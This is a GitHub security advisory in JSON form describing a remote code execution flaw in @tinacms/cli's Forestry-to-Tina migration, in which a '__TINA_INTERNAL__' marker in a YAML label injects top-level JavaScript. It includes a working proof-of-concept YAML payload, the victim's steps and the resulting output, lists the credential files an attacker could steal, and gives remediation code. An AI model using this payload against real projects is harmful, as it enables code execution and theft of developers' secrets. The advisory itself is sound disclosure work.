{"id":"GHSA-4936-9hrh-qqpw","summary":"@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels","details":"## Description\n\n### Summary\n\n`@tinacms/cli` contains a Remote Code Execution vulnerability in its\nForestry-to-Tina migration command. The internal helper `addVariablesToCode`\nunquotes any value matching the marker `\"__TINA_INTERNAL__:::(.*?):::\"`\ninside the stringified collection JSON. User-supplied `label` and `name`\nfields from `.forestry/**/*.yml` are placed into that JSON without any\nsanitisation. An attacker who controls a Forestry-style project can therefore\ninject arbitrary JavaScript into the generated `tina/templates.{ts,js}`\nfile. The injected code is written at module top level, so it executes\n**the moment the developer runs `tinacms dev` or `tinacms build`**, with the\ndeveloper's privileges.\n\n### Details\n\n**Vulnerable code path:**\n\n1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts`\n   — `transformForestryFieldsToTinaFields()` writes `forestryField.label`\n   (and `.name`) straight into TinaField objects (no sanitisation).\n2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`,\n   lines 16-22 — the regex-based unquoter:\n\n   ```ts\n   export const addVariablesToCode = (codeWithTinaPrefix: string) =\u003e {\n     const code = codeWithTinaPrefix.replace(\n       /\"__TINA_INTERNAL__:::(.*?):::\"/g,\n       '$1'\n     );\n     return { code };\n   };\n   ```\n\n3. `codeTransformer.ts` lines 80-88 — the field array is\n   `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because\n   `JSON.stringify` does **not** escape single quotes or backticks, an\n   attacker who avoids `\"` in the payload survives the JSON pass intact.\n4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 — the\n   resulting string is written to `tina/templates.{ts,js}` and imported by\n   the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates.\n\n**Why it executes immediately:** the regex unquoting allows the attacker's\npayload to *close the surrounding object/array and the enclosing\n`xxxFields()` function*, drop a top-level IIFE, and then start a dummy\nfunction that swallows the trailing JSON. The IIFE is at module scope,\nso it runs the instant `tina/config.ts` imports `./templates`.\n\n### PoC\n\nEnd-to-end verified against `tinacms` and `@tinacms/cli@2.3.1`, built from\ncommit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24\n(behaviour is identical on Node 22).\n\n**Step 1 — attacker prepares a malicious Forestry project**\n\n`.forestry/settings.yml`\n\n```yaml\n---\nnew_page_extension: md\nauto_deploy: false\nadmin_path: ''\nwebhook_url: ''\nsections:\n- type: directory\n  path: content/posts\n  label: Posts\n  create: all\n  match: \"**/*.md\"\n  templates:\n  - rce\n```\n\n`.forestry/front_matter/templates/rce.yml`\n\n```yaml\n---\nlabel: rce_template\nfields:\n- name: title\n  type: text\n  label: \"__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::\"\n```\n\n\u003e **Note on payload encoding.** The original disclosure draft used double\n\u003e quotes inside the payload (`console.log(\"RCE\")`). `JSON.stringify` escapes\n\u003e those to `\\\"`, which makes the generated TypeScript syntactically invalid\n\u003e and is rejected by Prettier before the file is written. Using single\n\u003e quotes or backticks for the inner string literals is required for the\n\u003e exploit to succeed.\n\n**Step 2 — victim runs the standard onboarding flow**\n\n```bash\ngit clone \u003cattacker repo\u003e\ncd \u003cattacker repo\u003e\nnpx tinacms init       # accepts the \"migrate Forestry templates?\" prompt\nnpx tinacms dev        # OR: npx tinacms build\n```\n\n**Step 3 — generated `tina/templates.ts` (verbatim, from a clean run)**\n\n```ts\nimport type { TinaField } from \"tinacms\";\nexport function rce_templateFields() {\n  return [{ type: \"string\", name: \"title\", label: 1 }];\n}\n(function () {                                          // \u003c-- TOP-LEVEL IIFE\n  const fs = require(\"fs\");\n  const os = require(\"os\");\n  fs.writeFileSync(\n    require(\"path\").join(os.tmpdir(), \"PWNED_PROOF.txt\"),\n    \"RCE triggered on \" + os.hostname() + \" at \" + new Date().toISOString()\n  );\n  console.log(\"=== RCE SUCCESSFUL ===\");\n})();\nfunction _ignore_() {\n  return [{ x: 1 }] as TinaField[];\n}\n```\n\n**Step 4 — observed result**\n\n```\n$ npx tinacms dev --noTelemetry --no-server\n🦙 TinaCMS Dev Server is initializing...\n=== RCE SUCCESSFUL ===\nCannot read properties of undefined (reading 'publicFolder')\n\n$ cat \"$TEMP/PWNED_PROOF.txt\"\nRCE triggered on \u003chostname\u003e at 2026-05-23T06:57:29.800Z\n```\n\nThe `=== RCE SUCCESSFUL ===` line is printed **before** the dev server\nfails on the (intentionally minimal) config, proving the malicious code\nexecuted during config evaluation.\n\n### Impact\n\n* **Class:** Remote Code Execution (code injection into a generated source\n  file that is automatically executed by the dev server/build).\n* **Attack vector:** Any developer who runs `tinacms init` on a Forestry\n  project they did not author (e.g. a starter template, a community fork,\n  a \"convert my site to Tina\" service, an evaluation of a third-party\n  CMS migration) and then runs `tinacms dev` or `tinacms build`.\n* **Privileges obtained:** Full execution under the developer's user\n  account. Practical consequences include:\n  * Exfiltration of environment variables, `.env` files, SSH keys,\n    `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`.\n  * Source-code modification (planting backdoors before the developer's\n    next commit / publish).\n  * Supply-chain abuse via the developer's `npm publish` and `git push`\n    credentials.\n  * Persistence via shell rc files or scheduled tasks.\n* **Authentication:** None required from the attacker.\n* **User interaction:** Required — victim must run the migration and then\n  the dev/build command. The migration prompt defaults to \"yes\".\n\n\n## Suggested Remediation\n\nEither fix is sufficient; **Option B is preferred** because it is\nstructurally impossible to bypass and does not silently drop user content.\n\n### Option A — sanitise user-controlled strings (the disclosure draft's proposal)\n\n```ts\n// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts\nconst sanitizeString = (str: unknown): unknown =\u003e\n  typeof str === 'string'\n    ? str.replace(/__TINA_INTERNAL__:::/g, '')\n    : str;\n```\n\nApply to **every** user-controlled string that flows into a TinaField\nobject — at minimum `forestryField.label`, `forestryField.name`,\n`forestryField.template`, `forestryField.config.options[*]`,\n`forestryField.config.source.section`, and the equivalents on nested\n`fields`/`template_types` recursive paths.\n\n### Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data\n\n```ts\n// codeTransformer.ts\nconst MARKER_OPEN  = '\u0001__TINA_INTERNAL__\u0001';\nconst MARKER_CLOSE = '\u0001/__TINA_INTERNAL__\u0001';\n\nexport const addVariablesToCode = (s: string) =\u003e ({\n  code: s.replace(\n    new RegExp(`\"${MARKER_OPEN}(.*?)${MARKER_CLOSE}\"`, 'g'),\n    '$1'\n  ),\n});\n```\n\n`JSON.stringify` escapes `\u0001` to the six-character sequence\n`\u0001`, so any literal control character supplied via YAML can never\nreconstruct the marker. The internal callers (`makeFieldsWithInternalCode`)\nkeep emitting real `\u0001` bytes, so the legitimate flow continues to\nwork and no user content is silently mutated.\n\n### Defence-in-depth\n\nRegardless of which option ships, the migration code should also:\n\n* Reject `forestryField.label` / `.name` that contain newlines or NUL\n  bytes (Forestry never produced them).\n* Wrap the eventual `prettier.format(...)` call so that if formatting\n  fails the build aborts (today an exception is propagated, which is\n  good — keep it that way).\n\n---\n\n## Credit\n\nReported by **AnGrY-Althaf** (`angry.althaf@gmail.com`).\n\nEnd-to-end PoC executed locally against\n`tinacms@2.3.1` / `@tinacms/cli@2.3.1` built from commit `ae1ab5d0f`\nof `https://github.com/tinacms/tinacms`.","aliases":["CVE-2026-54074"],"modified":"2026-09-10T03:50:48.066863584Z","published":"2026-06-19T21:15:16Z","database_specific":{"github_reviewed_at":"2026-06-19T21:15:16Z","nvd_published_at":null,"cwe_ids":["CWE-94"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw"},{"type":"WEB","url":"https://github.com/tinacms/tinacms/pull/7006"},{"type":"WEB","url":"https://github.com/tinacms/tinacms/commit/77665ae73dd4f9563d339535e76fa811a8abdfbb"},{"type":"PACKAGE","url":"https://github.com/tinacms/tinacms"},{"type":"WEB","url":"https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.4.3"}],"affected":[{"package":{"name":"@tinacms/cli","ecosystem":"npm","purl":"pkg:npm/%40tinacms/cli"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.4.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-4936-9hrh-qqpw/GHSA-4936-9hrh-qqpw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}